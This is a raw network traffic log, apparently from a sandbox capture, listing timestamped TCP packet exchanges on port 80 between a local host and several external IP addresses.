Dec 18, 2024 12:00:27.414975882 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.415141106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.415169001 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.415505886 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.415537119 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.415663004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.415692091 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.415798903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.415982962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.416053057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.416074991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.416223049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.416599035 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.416657925 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.416673899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.416681051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.416696072 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.416836977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.416863918 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.417172909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.417287111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.417435884 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.417464018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.417639971 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.417692900 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.417692900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.417743921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.418215990 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.418241978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.418343067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.418653011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.418739080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.418869019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.418889999 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.418908119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.418935061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.419053078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.419096947 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.419301987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.419640064 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.419706106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.419718027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.419753075 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.419783115 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.419878960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.419905901 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.420425892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.420474052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.420474052 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.420512915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.420871019 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.420929909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.420929909 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.420969009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.421088934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.421104908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.421117067 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.421221018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.421691895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.421884060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.421905994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.421911001 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.421956062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.421956062 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.421986103 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.422228098 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.422705889 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.422837019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.422867060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.422967911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.422996044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.423079014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.423163891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.423275948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.423321009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.423485994 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.423494101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.423559904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.424333096 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.424428940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.424446106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.424535990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.424535990 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.424567938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.424715042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.425075054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.425225973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.425254107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.425429106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.425494909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.425496101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.425501108 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.425684929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.425688982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.425828934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.425834894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.426035881 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.426336050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.426410913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.426426888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.426431894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.426450968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.426592112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.426615953 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.426728964 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.427076101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.427151918 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.427189112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.427330017 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.427361012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.427460909 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.427539110 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.427748919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.427817106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.427844048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.428555965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.428656101 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.428682089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.428682089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.428771973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.428798914 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.429577112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.429608107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.429708958 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.430738926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.430756092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.430766106 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.431350946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.431852102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.432051897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.433073997 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.433103085 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.433161974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.433819056 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.434026003 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.434149027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.434170008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.434309006 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.435100079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.435187101 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.435259104 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.436094999 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.436208010 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.436234951 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.437218904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.437246084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.437273026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.438285112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.438332081 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.438462019 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.438633919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.439409971 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.439629078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.439666986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.439768076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.440592051 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.440651894 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.440681934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.441615105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.441734076 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.441761971 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.442044020 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.442785025 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.442954063 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.442980051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.444006920 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.444042921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.444092989 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.444123983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.444415092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.445133924 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.445266008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.445324898 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.445324898 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.446228981 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.446319103 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.446345091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.446502924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.447170019 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.448184013 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.503782988 CET	49960	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:27.503935099 CET	49969	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:27.580043077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.580073118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.580157042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.580157995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.580240965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.580380917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.580414057 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.580580950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.580615044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.580701113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.580713034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.580853939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.581017971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.581125021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.581140041 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.581202030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.581214905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.581237078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.581327915 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.581764936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.581829071 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.581855059 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.582000017 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.582268000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.582329035 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.582413912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.582469940 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.582559109 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.582571030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.582770109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.583278894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.583359003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.583374023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.583375931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.583424091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.583424091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.583511114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.583599091 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.584041119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.584141970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.584214926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.584465027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.584477901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.584554911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.584554911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.584813118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.584933996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.584969044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.584994078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.585529089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.585648060 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.585654020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.585668087 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.585721016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.585721016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.585800886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.585890055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.586314917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.586407900 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.586440086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.586529970 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.586669922 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.586714983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.586756945 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.586882114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.587047100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.587112904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.587152004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.587225914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.587805033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.587888956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.587901115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.587963104 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.587963104 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.588031054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.588135958 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.588592052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.588768005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.588793993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.588916063 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.588928938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.588938951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.588968992 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.589015961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.589329004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.589437008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.589446068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.589595079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.589971066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.590059996 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.590092897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.590158939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.590159893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.590178967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.590228081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.590228081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.590883017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.590974092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.591001987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.591053963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.591068029 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.591080904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.591152906 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.591623068 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.591870070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.591888905 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.592014074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.592221022 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.592343092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.592359066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.592448950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.592531919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.592680931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.592700005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.592833042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.593267918 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.593431950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.593446970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.593453884 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.593497038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.593591928 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.593681097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.593822956 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.594125032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.594253063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.594285965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.594364882 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.594624996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.594693899 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.594734907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.594860077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.594888926 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.594933033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.595021009 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.595568895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.595635891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.595647097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.595681906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.595730066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.595760107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.595760107 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.595846891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.596241951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.596313000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.596319914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.596415043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.596560001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.596646070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.596679926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.596760988 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.596894026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.597037077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.597079039 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.597353935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.597675085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.597733021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.597744942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.597754955 CET	49950	80	192.168.2.6	185.215.113.16
